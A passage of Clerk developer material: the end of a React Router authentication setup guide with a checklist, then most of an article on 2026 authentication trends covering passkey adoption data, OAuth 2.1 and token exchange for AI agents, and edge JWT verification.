6. [Webhook signing secret](https://dashboard.clerk.com/~/webhooks) signing secret stored if using Clerk [webhooks](/glossary#webhook)

## Performance and security best practices

### Session lifetime and rotation

[Clerk's 60-second session JWT, auto-refreshed every 50 seconds](/docs/guides/how-clerk-works/overview) (with a 10-second buffer for network latency), keeps the exploit window for a stolen token narrow. You don't configure this; it's baked into the SDK.

### Minimizing auth round trips

`getAuth()` is cheap: the middleware parses the session once per request and caches the result, so calling `getAuth(args)` from multiple loaders in the same request doesn't re-verify. Calls to the Backend SDK (`clerkClient(args).users.getUser()`) hit Clerk's API, so don't do them in every loader when `sessionClaims` already has what you need.

### Multi-factor authentication

Available on Pro ($25/mo, or $20/mo billed annually). Enable in **Configure → User & authentication → [Multi-factor](https://dashboard.clerk.com/~/user-authentication/multi-factor)**: TOTP (authenticator apps), SMS, and backup codes. `<UserProfile />` exposes the self-service setup automatically; no extra code needed. For step-up auth on sensitive actions (changing an email, deleting an org), use the [`useReverification()`](/docs/reference/hooks/use-reverification) hook.

### Passkeys

Also on Pro, in the same plan after Clerk's February 2026 plan restructure. Enable under **Configure → User & authentication** on the **Passkeys** tab. `<SignIn />` and `<SignUp />` surface passkey enrollment and login automatically. [WebAuthn](/glossary#webauthn) under the hood.

### Bot protection and rate limiting

Clerk automatically rate-limits sign-in attempts and runs bot detection on sign-up. Configurable thresholds in the [Attack protection](https://dashboard.clerk.com/~/protect/attack-protection) section of the dashboard. You don't need a separate rate-limiter in front of the auth routes.

### CSRF protection

Clerk sets `SameSite=Lax` on its cookies. Combined with the 60-second token lifetime, that's sufficient CSRF protection for most state-changing operations. Layer on explicit CSRF tokens only for particularly sensitive flows (think: destructive admin actions on long-lived sessions).

## Implementation checklist

**Setup**

1. [ ] Install `@clerk/react-router`
2. [ ] Set `VITE_CLERK_PUBLISHABLE_KEY` and `CLERK_SECRET_KEY` in `.env.local`
3. [ ] Enable `future: { v8_middleware: true }` in `react-router.config.ts`
4. [ ] Export `middleware = [clerkMiddleware()]` from `app/root.tsx`
5. [ ] Export `loader` that returns `rootAuthLoader(args)` from `app/root.tsx`
6. [ ] Wrap `<Outlet />` with `<ClerkProvider loaderData={loaderData}>`

**Authentication UI**

1. [ ] Create splat route `app/routes/sign-in.tsx` with `<SignIn />`
2. [ ] Create splat route `app/routes/sign-up.tsx` with `<SignUp />`
3. [ ] Register both in `app/routes.ts` as `sign-in/*` and `sign-up/*`
4. [ ] Set `VITE_CLERK_SIGN_IN_URL` and `VITE_CLERK_SIGN_UP_URL`
5. [ ] Add `<UserButton />` to the header
6. [ ] Configure email + OTP in Clerk dashboard
7. [ ] Configure Google and GitHub social connections

**Protection**

1. [ ] Protect loaders with `getAuth()` and `throw redirect('/sign-in')`
2. [ ] Protect actions the same way
3. [ ] Use `<Show>` for client-side UI gates

**Organizations (if using)**

1. [ ] Enable organizations in the Clerk dashboard
2. [ ] Add `<OrganizationSwitcher />` to the header
3. [ ] Gate admin routes with `has({ role: 'org:admin' })`

**Production**

1. [ ] Switch to production Clerk keys (`pk_live_`, `sk_live_`)
2. [ ] Add production OAuth credentials in Clerk dashboard
3. [ ] Add production domain in Clerk dashboard
4. [ ] Verify deployment platform env vars are set

## Frequently Asked Questions

---

# Authentication Trends in 2026: Passkeys, AI Agents, and Edge Auth
URL: https://clerk.com/articles/authentication-trends-in-2026-passkeys-ai-agents-and-edge.md
Date: 2026-06-03
Description: Passkeys, AI agent identity via OAuth 2.1, and edge JWT verification define authentication in 2026. Get the data, standards, and how Clerk fits TypeScript-first stacks.

**What are the major authentication trends in 2026?**

The three load-bearing shifts are (1) mainstream [passkey](/glossary/passkeys) adoption replacing passwords and SMS [MFA](/glossary/multi-factor-authentication-mfa), with 15 billion user accounts now passkey-enabled and Microsoft defaulting new consumer accounts to passkeys ([FIDO Alliance](https://fidoalliance.org/cyber-security-news-15-billion-user-gain-passwordless-access-to-microsoft-account-using-passkeys/)); (2) [OAuth](/glossary/oauth) 2.1 emerging as the baseline for authenticating AI agents — including Model Context Protocol servers, whose 2025-11-25 specification mandates OAuth 2.1 with PKCE and dynamic client registration ([MCP](https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization)); and (3) edge-centric ingress verification, where short-lived [JWTs](/glossary/json-web-token) issued by a central identity provider are validated inside the CDN layer before requests ever reach origin. Each section below covers the primary data, the current standard, and concrete TypeScript-first implementation patterns for the matching shift.

The organizing frame throughout is a three-by-three matrix — three principal types (humans, machines, AI agents) crossed with three runtime environments (origin servers, serverless functions, CDN edge) — because most real 2026 design decisions are about which principal you are authenticating and which runtime is doing the verifying. One clarification before the deep dive: "edge authentication" in this article means **ingress-layer JWT verification of tokens issued by a central IdP**, not a replacement for browser session management — the IdP still owns durable session state and revocation authority.

## Key Trends at a Glance

The three shifts below are the load-bearing structure of the rest of the article.

| Trend                               | What's changing in 2026                                                                                                  | Why it matters                                                                                                                                                            |
| ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Passkeys go mainstream              | 15B+ accounts support passkeys; Microsoft made passkeys default for new accounts; enterprise rollouts accelerate         | Phishing-resistant by design; measurably faster sign-in; replaces SMS MFA                                                                                                 |
| AI agents as first-class principals | OAuth 2.1 + MCP (where applicable) as baseline; token exchange and scoped, short-lived tokens                            | Reusing user sessions for agents breaks attribution, revocation, scope, and audit                                                                                         |
| Edge-centric ingress verification   | JWT validation in CDN PoPs; Next.js 16 `proxy.ts` at the network boundary; `jose` + Web Crypto as the de facto toolchain | 3–10× lower auth latency at the ingress check; smaller origin blast radius; easier data residency — does **not** replace browser session management or full authorization |

Each row is drawn from primary telemetry or specification, not vendor marketing. The passkey numbers come from the FIDO Alliance's ongoing passkey index and Microsoft's May 2025 security-blog update on default passkey enrollment ([FIDO Passkey Index](https://fidoalliance.org/passkey-index-2025/), [Microsoft Security Blog](https://www.microsoft.com/en-us/security/blog/2025/05/01/pushing-passkeys-forward-microsofts-latest-updates-for-simpler-safer-sign-ins/)). The agent-identity row reflects the MCP authorization specification finalized on 2025-11-25, which codifies OAuth 2.1 with PKCE as the baseline transport ([MCP specification](https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization)). The edge row reflects the Next.js 16 release, which renamed and re-scoped `middleware.ts` to `proxy.ts` to make its network-boundary role explicit ([Next.js 16 release notes](https://nextjs.org/blog/next-16)), alongside the now-conventional `jose` plus Web Crypto toolchain for JWT validation inside Cloudflare Workers and Vercel Edge Functions ([SSOJet](https://ssojet.com/blog/how-to-validate-jwts-efficiently-at-the-edge-with-cloudflare-workers-and-vercel), [Daily Dev Post](https://dailydevpost.com/blog/edge-vs-origin-business-logic-cdn)).

Three caveats up front, because each trend has a failure mode and this article will not pretend otherwise. Passkeys solve phishing but do not solve account recovery, and recovery UX is where most 2026 passkey rollouts still stumble. Agent identity via OAuth 2.1 is the right direction, but token-exchange flows for delegated agent access are not yet uniformly implemented across IdPs. And edge verification buys latency, not [authorization](/glossary/authorization) — any decision more complex than "is this JWT signed and unexpired" still belongs at the origin or in the IdP. Each deep-dive section below names the caveat alongside the benefit.

## Why Authentication Needs to Evolve in 2026

Authentication in 2026 is not a single product problem. It is the intersection of a faster adversary, a new class of non-human caller, tightening regulation across every major jurisdiction, and a performance budget that no longer tolerates an origin round-trip. Each of those forces is moving independently, and each one pushes the same way: away from shared secrets, toward phishing-resistant credentials verified as close to the user as possible.

### The forces reshaping authentication

**Credential theft is still the dominant initial-access vector.** The 2025 Verizon Data Breach Investigations Report is widely quoted as finding "88% of breaches involved stolen credentials", but that figure is scoped specifically to Basic Web Application Attacks; across the full corpus, credential abuse accounts for roughly 22% of initial access vectors ([Verizon DBIR 2025](https://www.verizon.com/about/news/2025-data-breach-investigations-report)). That caveat does not soften the finding — it sharpens it. For the internet-facing apps most readers of this article build, compromised credentials remain the single most common way in. IBM's 2025 X-Force Threat Index reinforces the trend: a 180% increase in phishing emails delivering infostealers measured against a 2023 baseline, with credential theft the outcome in one in three incidents ([IBM X-Force 2025](https://newsroom.ibm.com/2025-04-17-2025-ibm-x-force-threat-index-large-scale-credential-theft-escalates,-threat-actors-pivot-to-stealthier-tactics)).

**eCrime moves faster than humans can respond.** CrowdStrike's 2026 Global Threat Report puts average eCrime breakout time at 29 minutes, with the fastest observed breakout at 22 seconds. Eighty-two percent of intrusions were malware-free — the attacker logged in with stolen credentials rather than dropping a binary — and the report measured an 89% year-over-year increase in AI-enabled attacks ([CrowdStrike 2026](https://www.crowdstrike.com/en-us/blog/crowdstrike-2026-global-threat-report-findings/)). A 29-minute window does not give a SOC time to page a human; it demands authentication that refuses the attack in the first place.

**SIM-swap fraud is scaling in the channels MFA still relies on.** Cifas, operator of the UK's National Fraud Database, reported roughly 3,000 unauthorised SIM-swap cases in 2024 — a 1,055% year-over-year surge ([Cifas](https://www.cifas.org.uk/newsroom/huge-surge-see-sim-swaps-hit-telco-and-mobile)). Action Fraud tracks the same phenomenon with a different methodology and reports roughly 2,037 cases for the period; the number you cite depends on the source, but both point the same direction.

**Agentic software changes the threat model.** Non-human callers with LLM reasoning now sit in front of APIs that assumed an interactive user session, and they do not behave like the CSRF-token-bearing browser clients those APIs were designed for.

**Performance expectations have eaten origin auth.** Global TTFB budgets now push session verification to the CDN edge. A documented case study reports that moving verification to the edge cut international checkout TTFB from roughly 2 seconds to \~45ms ([Daily Dev Post](https://dailydevpost.com/blog/edge-vs-origin-business-logic-cdn)).

**Regulation is accelerating phishing-resistant authentication on parallel tracks.** In the EU, the [NIS2 Directive (EU) 2022/2555](https://eur-lex.europa.eu/eli/dir/2022/2555/oj) had to be transposed by Member States by 17 October 2024 and applied from 18 October 2024, while [DORA Regulation (EU) 2022/2554](https://eur-lex.europa.eu/eli/reg/2022/2554/oj) reached its application date on 17 January 2025. [NIST SP 800-63-4](https://pages.nist.gov/800-63-4/), released July 2025, for the first time formally qualifies syncable passkeys at AAL2. The [EU AI Act (Regulation (EU) 2024/1689)](https://eur-lex.europa.eu/eli/reg/2024/1689/oj) is under phased application, with general application from 2 August 2026. India's [RBI Authentication Directions 2025](https://rbidocs.rbi.org.in/rdocs/PressRelease/PDFs/PR1165D250AB0389BE4D3D9E006CECD26F928E.PDF) require compliance by 1 April 2026 with additional cross-border card-not-present validation by 1 October 2026. Singapore's [PDPC ruling](https://www.pdpc.gov.sg/news-and-events/press-room/2026/01/organisations-to-cease-the-use-of-nric-numbers-for-authentication-by-31--december-2026) requires organisations to cease NRIC-number-based authentication by 31 December 2026, with enforcement from 1 January 2027. The Philippines [BSP Circular 1213 (2025)](https://www.bsp.gov.ph/Regulations/Issuances/2025/1213.pdf) defines a one-year compliance window, with a derived deadline around 30 June 2026. Under [eIDAS 2.0 (Regulation (EU) 2024/1183)](https://eur-lex.europa.eu/eli/reg/2024/1183/oj/eng), Member States must provide EUDI Wallets within 24 months of the implementing acts — the commonly cited outside date is around 21 November 2026. For financial messaging, [SWIFT CSP v2026](https://www.swift.com/myswift/customer-security-programme-csp/security-controls) ships 26 mandatory plus 6 advisory controls, with Control 2.4 moved from advisory to mandatory. For payment data, [PCI DSS 4.0.1](https://blog.pcisecuritystandards.org/just-published-pci-dss-v4-0-1) retired v4.0 on 1 January 2025, and v4.0's new requirements became effective 31 March 2025. Cyber insurance sits across all of this: [Marsh McLennan's cyber-risk research](https://www.marshmclennan.com/news-events/2025/august/marsh-mclennan-cyber-risk-intelligence-center-report.html) consistently ranks MFA as a top insurer-required control.

**Federal signal on agent identity.** NIST's AI Agent Standards Initiative, announced February 2026, explicitly covers identity, authorization, and compliance for interoperable agents — the first federal standards work to treat agents as a first-class identity tier.

**Contrarian callout.** [Gartner predicts](https://www.gartner.com/en/newsroom/press-releases/2024-02-01-gartner-predicts-30-percent-of-enterprises-will-consider-identity-verification-and-authentication-solutions-unreliable-in-isolation-due-to-deepfakes-by-2026) that 30% of enterprises will consider identity verification unreliable in isolation by 2026, thanks to AI-generated deepfakes. The authentication layer alone is no longer the verification layer.

### Foundational concepts, recapped succinctly

**OAuth 2.1 versus OpenID Connect.** OAuth 2.1 is an authorization framework; [OpenID Connect](/glossary/openid-connect) is an identity layer built on top of it. [OAuth 2.1](https://oauth.net/2.1/) consolidates best-current-practice guidance from RFC 6749 and the various security BCPs into a single spec, with [RFC 9700](https://datatracker.ietf.org/doc/rfc9700/) codifying the OAuth 2.0 Security Best Current Practice that informs it. If your mental model is "OAuth is login", invert it: OAuth delegates access, OIDC carries identity.

**JWT, JWS, JWKS in one paragraph.** A JSON Web Token is a header, payload, and signature triple. The signature is a JSON Web Signature, produced with an asymmetric algorithm such as RS256, ES256, or EdDSA. Public verification keys are distributed through a JSON Web Key Set hosted at a well-known URL (conventionally `/.well-known/jwks.json`). Asymmetric signing is what makes edge verification viable: the public key can live in every CDN PoP, while the private key stays in the IdP. Symmetric signing requires the verifier to hold the signing key — a hard non-starter when the verifier is 300+ edge locations you do not want to be breach blast radius.

**[Session](/glossary/session), access, and refresh tokens.** A session token represents a logged-in user to your application and is typically an HttpOnly cookie. An [access token](/glossary/access-token) is a short-lived bearer credential passed to an API to authorize a specific request. A [refresh token](/glossary/refresh-token) is a longer-lived credential exchanged at the IdP for a fresh access token when the current one expires, keeping active sessions alive without re-prompting the user.

**[WebAuthn](/glossary/webauthn), FIDO2, passkey.** WebAuthn is the [W3C Web Authentication API](https://www.w3.org/TR/webauthn/) that lets a browser talk to an authenticator. FIDO2 is the umbrella name for WebAuthn plus the Client to Authenticator Protocol (CTAP) that connects browsers to external authenticators. A [passkey](https://fidoalliance.org/passkeys/) is the branded consumer UX layered on top of WebAuthn and FIDO2 — a discoverable credential, typically synced across a platform vendor's ecosystem, presented through a familiar system-level prompt.

**Why these primitives remain load-bearing.** The UX above them is changing fast, but the substrate — OAuth 2.1 for delegation, OIDC for identity, JWT/JWKS for portable claims, WebAuthn for origin-bound assertions — is what every trend in the rest of this article composes onto. Agent identity, edge auth, and passkey rollouts all assume these primitives work; they differ mainly in where the verification happens and what the authenticator is.

## Trend 1: Passkeys and Passwordless Authentication Go Mainstream

2026 is the year passkeys stopped being a roadmap item and became the default sign-in for a material share of consumer and workforce traffic. The numbers below are bounded to primary sources — FIDO Alliance, the platform vendors themselves, and the specific case studies published on their developer blogs — because the passkey space has an unusually high volume of secondary and tertiary citations that have drifted from their original context.

### Passkey adoption data for 2026

#### Consumer adoption and platform support

The FIDO Alliance reports [15 billion+ user accounts with passwordless access via passkeys](https://fidoalliance.org/cyber-security-news-15-billion-user-gain-passwordless-access-to-microsoft-account-using-passkeys/), with more than 1 billion passkey activations across consumer platforms. The [FIDO Passkey Index (October 2025)](https://fidoalliance.org/wp-content/uploads/2025/10/FIDO-Passkey-Index-October-2025.pdf) puts account eligibility at 93%, enrollment at 36%, and passkey-completed sign-ins at 26% of the total across participating services. In the same report, passkey sign-ins succeed 93% of the time against 63% for password sign-ins, and complete 73% faster — a median of 8.5 seconds against 31.2 seconds for passwords. Help-desk authentication incidents drop 81% for passkey-enabled populations.

Microsoft made passkeys the default for new consumer accounts in May 2025 and, according to its own security blog, is registering "nearly a million passkeys every day" ([Microsoft Security Blog](https://www.microsoft.com/en-us/security/blog/2025/05/01/pushing-passkeys-forward-microsofts-latest-updates-for-simpler-safer-sign-ins/)). Consumer awareness has moved in step with the rollout: from 39% in 2023 to 57% in 2025 per the FIDO Alliance Consumer Insights survey ([FIDO Alliance](https://fidoalliance.org/passkeys/)).

Platform support is effectively universal on the client side. Every evergreen browser supports WebAuthn and conditional UI; iOS, Android, macOS, and Windows all ship platform authenticators with synced passkey storage ([caniuse.com](https://caniuse.com/passkeys), [passkeys.dev](https://passkeys.dev)).

#### Vendor case studies

Primary, vendor-published numbers hold up the clearest picture of the business case:

- **Google.** 800 million accounts use passkeys, with more than 2.5 billion sign-ins to date. Passkey sign-ins succeed 4× more often than password sign-ins, and Google measured a 352% increase in passkey usage after making passkeys the default sign-in option in October 2023 ([Google Identity case studies](https://developers.google.com/identity/passkeys/case-studies)).
- **Mercari.** 82.5% passkey success rate with sign-in 3.9× faster than SMS OTP — 4.4 seconds against 17 seconds ([Google Identity case studies](https://developers.google.com/identity/passkeys/case-studies)).
- **Kayak.** 50% reduction in sign-in time after rolling out passkeys ([Google Identity case studies](https://developers.google.com/identity/passkeys/case-studies)).
- **Tokyu.** Approximately 12× faster sign-in, to 12.2 seconds ([web.dev](https://web.dev/case-studies/tokyu-passkeys)).
- **Dashlane.** 70% increase in sign-in conversion rate for passkey flows compared with password flows ([Google Developers Blog](https://developers.googleblog.com/password-manager-dashlane-sees-70-increase-in-conversion-rate-for-signing-in-with-passkeys-compared-to-passwords/)).
- **DocuSign.** 99% passkey success rate against 76% for passwords, as reported in the FIDO Authenticate 2025 Day 2 recap ([FIDO Alliance](https://fidoalliance.org/authenticate-2025-day-2-recap/)) and on the DocuSign blog ([DocuSign](https://www.docusign.com/blog/docusign-customers-can-upgrade-passwords-to-passkeys)).
- **Roblox.** 18% of active users adopted passkeys per the FIDO Authenticate 2025 Day 2 recap ([FIDO Alliance](https://fidoalliance.org/authenticate-2025-day-2-recap/)); Dashlane's Power 20 vault telemetry separately reported 856% year-over-year growth in Roblox passkey credentials stored in Dashlane ([Dashlane](https://www.dashlane.com/blog/passkey-report-2025)).
- **Air New Zealand.** 50% abandonment reduction after introducing passkeys ([FIDO Alliance](https://fidoalliance.org/passkeys/)).

#### Enterprise and workforce adoption

On the workforce side, the [FIDO Alliance's *State of Passkey Deployment in the Enterprise in the US and UK* (February 2025)](https://fidoalliance.org/wp-content/uploads/2025/02/The-State-of-Passkey-Deployment-in-the-Enterprise-in-the-US-and-UK-FIDO-Alliance.pdf) found that 87% of surveyed US and UK workforces are deploying passkeys for employee sign-ins. Corbado's separate analysis — secondary and illustrative — reports that organisations with dedicated adoption tooling reach 80%+ enrollment while those without stall at 5–10% ([Corbado](https://www.corbado.com/blog/okta-passkeys-analysis)). Treat the gap between those two numbers as the project-management tax on passkey rollouts, not a ceiling on the technology.

#### Passwordless beyond passkeys

"Passwordless" in 2026 is a spectrum, not a single method. Magic links are still widely deployed, and social / OIDC federation is the de-facto passwordless consumer path for a large share of sites. Mojoauth's own [State of Passwordless 2026 survey](https://mojoauth.com/data-and-research-reports/state-of-passwordless-2026/) reports that 41% of passwordless implementations still use magic links — attribute that number to mojoauth's survey, not to the industry at large. In practice, "passwordless" in enterprise contexts now means "passkey-first with a fallback", and the interesting design question has shifted from "should we support passkeys" to "what is the recovery path when a passkey is not present".

### Why passkeys outperform passwords and legacy MFA

#### Security outcomes

Passkeys are phishing-resistant by construction. Every [WebAuthn](https://www.w3.org/TR/webauthn/) assertion is bound to the origin it was created on, so a credential enrolled at `example.com` cannot be replayed against a lookalike domain — the browser refuses to produce the assertion. That one property eliminates the entire category of [credential stuffing](/glossary/credential-stuffing) and password reuse, because there is no static secret on the client to steal in the first place.

The gap against legacy MFA is where 2026 gets interesting. Adversary-in-the-middle kits are now commodity: WorkOS's 2026 analysis reports that Tycoon 2FA accounts for roughly 62% of phishing volume and generates around 30 million fraudulent emails per month ([WorkOS](https://www.workos.com/blog/how-attackers-are-bypassing-mfa-using-ai-in-2026)). These kits proxy the legitimate login flow in real time, harvest the user's SMS or TOTP code, and replay it against the real IdP inside the validity window. MFA-fatigue attacks time their push prompts to moments when the user is most likely to click through on autopilot. And SMS-based MFA is undermined at the carrier layer by the SIM-swap surge documented by [Cifas](https://www.cifas.org.uk/newsroom/huge-surge-see-sim-swaps-hit-telco-and-mobile). Passkeys collapse all of that because the assertion is origin-bound and proximity-bound — the AiTM proxy cannot produce an assertion for the real origin, the fatigue prompt has nothing to approve, and a SIM swap does not help you forge a WebAuthn signature.

#### UX and conversion outcomes

The conversion case is as strong as the security case. The FIDO Passkey Index numbers above are the anchor: 93% login success against 63% for passwords, and a median 8.5-second sign-in against 31.2 seconds for passwords, a 73% improvement. Vendor case studies round out the shape — Tokyu's roughly 12× faster sign-in on [web.dev](https://web.dev/case-studies/tokyu-passkeys), Dashlane's 70% conversion uplift on the [Google Developers Blog](https://developers.googleblog.com/password-manager-dashlane-sees-70-increase-in-conversion-rate-for-signing-in-with-passkeys-compared-to-passwords/), and the 81% help-desk incident reduction in the FIDO Passkey Index. That last number is the line that moves CFO conversations: the faster sign-in saves seconds, the help-desk reduction saves salaries.

### FIDO2 and WebAuthn in the enterprise

**Synced versus device-bound authenticators.** [NIST SP 800-63-4 (July 2025)](https://pages.nist.gov/800-63-4/sp800-63b.html) classifies syncable authenticators at AAL2 — the first version of the guideline to do so formally. AAL3, required for privileged access in federal systems, still demands device-bound authenticators. Microsoft Entra ID tracks the same distinction: [device-bound passkeys shipped in January 2024 and synced passkeys followed in November 2025](https://learn.microsoft.com/en-us/entra/fundamentals/whats-new).

**Attestation, AAGUIDs, and authenticator allowlists.** Enterprise passkey programs typically lean on WebAuthn attestation statements and Authenticator Attestation GUIDs to restrict which authenticator models can be enrolled. The common patterns are allowlists for employee-issued devices, conditional allowlists keyed to assurance level, and separate policies for administrators. The FIDO Alliance's [State of Passkey Deployment in the Enterprise](https://fidoalliance.org/wp-content/uploads/2025/02/The-State-of-Passkey-Deployment-in-the-Enterprise-in-the-US-and-UK-FIDO-Alliance.pdf) puts workforce deployment at 87% across the US and UK enterprises surveyed.

**[Hardware security keys](/glossary/hardware-keys).** YubiKey, Google Titan, and Feitian keys remain the dominant choice for admin and privileged accounts — device-bound, attestable, and immune to synced-credential-store attack vectors.

**Integrating with SAML/OIDC federation.** The pragmatic pattern for 2026 is passkey-at-IdP plus OIDC to downstream apps: the IdP owns the WebAuthn ceremony and issues an ID token or SAML assertion that downstream applications trust.

### What's still holding back universal passkey adoption

Passkeys are the right default. They are not yet a solved problem.

**Account recovery is the hardest unsolved problem.** There is no universal best practice. Vendors variously fall back to [backup codes](/glossary/backup-codes), email magic links, phone-number verification, knowledge-based questions, or human-assisted identity proofing — each of which reintroduces part of the attack surface the passkey was meant to eliminate. A 2025 peer-reviewed literature review identifies account recovery, sharing and delegation, and misaligned user perception as the core challenges to wider adoption ([MDPI Applied Sciences — Matzen et al. 2025](https://www.mdpi.com/2076-3417/15/8/4414)).

**Cross-device and cross-ecosystem sync.** Apple, Google, and Microsoft each run their own synced credential stores, and portability between them has historically required the user to re-enroll on each platform. The [Credential Exchange Protocol and Credential Exchange Format (CXP/CXF)](https://www.corbado.com/blog/credential-exchange-protocol-cxp-credential-exchange-format-cxf) were published as a FIDO Alliance Proposed Standard in August 2025, and Apple shipped CXF in iOS and macOS 26. Portability is improving, but it is not yet universal in 2026.

**Legacy clients and call-center channels.** Desktop applications stuck on older WebAuthn-incompatible runtimes, IVR call flows, and phone-based account recovery still require knowledge factors. These do not go away because passkeys got better; they require parallel hardening.

**Change-management friction.** In the FIDO Alliance / Thales 2025 enterprise deployment study, groups that do not have active passkey projects cite complexity (43%), costs (33%), and lack of clarity on how to start (29%) as the top reasons for holding off ([FIDO Alliance — State of Passkey Deployment in the Enterprise](https://fidoalliance.org/wp-content/uploads/2025/02/The-State-of-Passkey-Deployment-in-the-Enterprise-in-the-US-and-UK-FIDO-Alliance.pdf)).

**Emerging passkey attacks.** Honest caveat: 2025 produced the first wave of practical passkey-targeted research. Proofpoint documented synced-passkey *downgrade* attacks against Microsoft Entra in which browser spoofing is used to force the user into a weaker fallback method. SquareX demonstrated passkey hijacking via WebAuthn API interception at DEF CON 2025. Prove published analysis of SIM-swap-enabled passkey-sync recovery fraud — attacking the recovery path rather than the passkey itself. None of this undermines the recommendation to deploy passkeys; all of it underscores that passkey security depends on closing fallback paths, hardening recovery, and treating the synced credential store as part of the trust boundary.

### Trajectory: passwordless by default in 2027–2028

Per the Gartner Market Guide for User Authentication (Hoover & Allan, November 2024), more than 90% of MFA transactions will be completed via FIDO passkey by 2027. Insurance pressure and the regulatory deadlines listed earlier in this article will keep pushing enterprise rollouts through 2027 and into 2028, when the default corporate sign-in is a synced passkey with device-bound escalation for admins.

The open questions for the next two years are not whether passkeys win but how cleanly they compose: whether CXP/CXF adoption reaches every major platform, how workforce SSO converges around passkey-at-IdP, and how organisations govern synced credential stores when the credential lives in a consumer cloud account rather than a corporate device.

## Trend 2: AI Agents as First-Class Authentication Principals

The second major shift in 2026 authentication is that identity providers, standards bodies, and protocol designers now treat AI agents as a distinct principal type — not a special case of either human users or machine clients. This section covers what changed, the standards underneath the change, and the concrete patterns teams are using when agents call APIs on behalf of users or organizations.

### Why AI agent authentication needs its own model

For this article, an **AI agent** is non-human software that uses LLM reasoning to call APIs or tools on behalf of a user or organization. Examples include a productivity assistant that reads a user's calendar, a backend summarization service that invokes an internal search API, and an IDE coding agent that edits files and opens pull requests.

Reusing a human user's session for an agent is the wrong primitive on four counts:

- **Attribution.** [Audit logs](/glossary/audit-logs) need to answer "was this action taken by the human or by the agent acting for the human?" A raw user session collapses both into one identity.
- **Revocation.** If a user wants to disable one agent without logging out everywhere, a shared session gives the security team no handle to pull.
- **Scope.** A human's browser session typically carries broad permissions. An agent invoking a specific tool should carry only the permissions required for that call.
- **Audit.** Compliance and incident review need the full chain: which agent, which user, which tool, which resource, which time window.

A modern auth system therefore has to distinguish three principals as table stakes: **human users**, **machine clients** (internal and third-party services), and **agents-on-behalf-of-users**. The third category is where the 2025-Q4 through 2026-Q1 product wave landed.

Every major identity vendor now ships agent-specific identity primitives. Okta announced [Okta for AI Agents](https://www.okta.com/blog/ai/okta-ai-agents-early-access-announcement/) with an Agent Gateway and a virtual MCP server as part of its "Secure Agentic Enterprise" blueprint. Auth0 shipped [Auth0 for AI Agents](https://auth0.com/ai) plus its Token Vault for agent secrets. Microsoft launched [Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/what-is-agent-id-platform) in preview as part of Microsoft Agent 365. Google Cloud is previewing Agent Identities. Descope released [Agentic Identity Hub 2.0](https://www.descope.com/press-release/agentic-identity-hub-2.0). Scalekit offers [MCP Auth and Agent Actions](https://docs.scalekit.com/). And Clerk's [October 2025 Series C](/blog/series-c) explicitly earmarked capital for agent identity work.

The honest callout: despite the productization, enterprise *governance* of agent identity is immature. Strata's February 2026 research found only **18% of enterprises** report confidence in their agent-identity governance. The OpenID Foundation's October 2025 paper, [Identity Management for Agentic AI](https://openid.net/wp-content/uploads/2025/10/Identity-Management-for-Agentic-AI.pdf), argues that existing standards *can* secure agentic use cases today but recommends specialized authorization servers and clean separation of concerns from human-user flows. Most production agent auth in the wild is still ad-hoc personal access tokens and API keys; the standards-aligned stack described below is the direction of travel, not the current average.

### OAuth 2.1 as the baseline

OAuth 2.1 is the consolidation of fifteen years of OAuth 2.0 errata and security best practice into a single, opinionated specification. The current version is [draft-15](https://datatracker.ietf.org/doc/draft-ietf-oauth-v2-1/15/), which expires in September 2026. Despite the draft status, the MCP specification and every major vendor in the list above treat OAuth 2.1 as the baseline for new deployments. The [oauth.net/2.1 overview](https://oauth.net/2.1/) is a good primer. In parallel, [RFC 9700 (OAuth 2.0 Security Best Current Practice)](https://datatracker.ietf.org/doc/rfc9700/) captures the consolidated security guidance that OAuth 2.1 pulls in.

What OAuth 2.1 consolidates:

- **[PKCE](/glossary/code-exchange-pkce) is required for all authorization code flows**, public and confidential clients alike.
- **Implicit flow is deprecated.** The browser-based implicit grant is removed.
- **Resource Owner Password Credentials (ROPC) is deprecated.**
- **Strict redirect URI matching** — no substring or pattern matching.
- **Refresh tokens for public clients must be sender-constrained or single-use.**
- **Bearer tokens are banned from URL query strings** — they belong in the `Authorization` header.

Pick the grant that matches the call pattern. **Client credentials** is the grant to use for pure machine-to-machine calls where no end user is present — for example, a backend agent calling an internal API under its own identity. Access tokens should be short-lived, scoped to the minimum permissions needed, and audience-constrained to a specific resource server. Prefer JWT client assertions over long-lived client secrets.

**Authorization code with PKCE** is the grant for delegated agent access, where a user has authorized the agent to act for them. Here it matters whether the agent is *impersonating* the user (holding the user's token) or the user is effectively *logged in as the agent* with a distinct delegated token that carries actor information. The latter is the preferred model and is what token exchange enables. [Curity's PKCE explainer](https://curity.io/resources/learn/oauth-pkce/) is a solid introduction if PKCE is new to your team.

### Token exchange and delegated agent access (RFC 8693)

[RFC 8693](https://datatracker.ietf.org/doc/html/rfc8693) defines OAuth 2.0 Token Exchange — the ability to swap one token for another with narrower scope, a different audience, or a different subject. This is the standards-native primitive for delegated agent access.

When a user hands an agent permission to call a downstream API, the agent does not reuse the raw user access token. It exchanges that token at the authorization server for a new token with a narrower scope, a specific audience, and an `act` claim identifying the agent as the actor. As the request propagates through a chain of tools, each hop can exchange again and further narrow scope. The resulting delegation chain is visible in the token itself.

The `act` and `may_act` claims are the auditability layer. `act` records who performed the action (the agent), while the `sub` claim records on whose behalf (the user). `may_act` lets a token declare which actors are permitted to delegate against it. Together they give a compliance reviewer a single token they can introspect to answer "which agent did what, for whom, when."

Use token exchange when the agent acts for a human user. Use a fresh `client_credentials` token when the agent is operating autonomously under its own identity. The two patterns coexist — a user-delegated flow can still spawn M2M sub-calls that use client credentials for infrastructure calls that have no user context.

Auth0 productized a related async pattern under [Asynchronous Authorization for AI Agents](https://auth0.com/ai/docs/intro/asynchronous-authorization), which combines Client-Initiated Backchannel Authentication (CIBA) with Rich Authorization Requests (RAR) to let an agent request a specific, semantically-rich authorization from the user out-of-band — for example, "approve this agent to transfer up to $50 from account X."

### Scoped, short-lived tokens for AI agents

Industry guidance has converged on two properties for agent tokens: narrow scopes and short lifetimes. The SuperTokens [auth-for-AI-agents guide](https://supertokens.com/blog/auth-for-ai-agents) recommends capability tokens in the 60-to-300-second range for individual tool calls, refreshed as needed. The reasoning: an agent token that leaks is far less dangerous if it expires before an attacker can chain it into a larger exploit, and narrow scopes mean even a valid stolen token is bounded in what it can do.

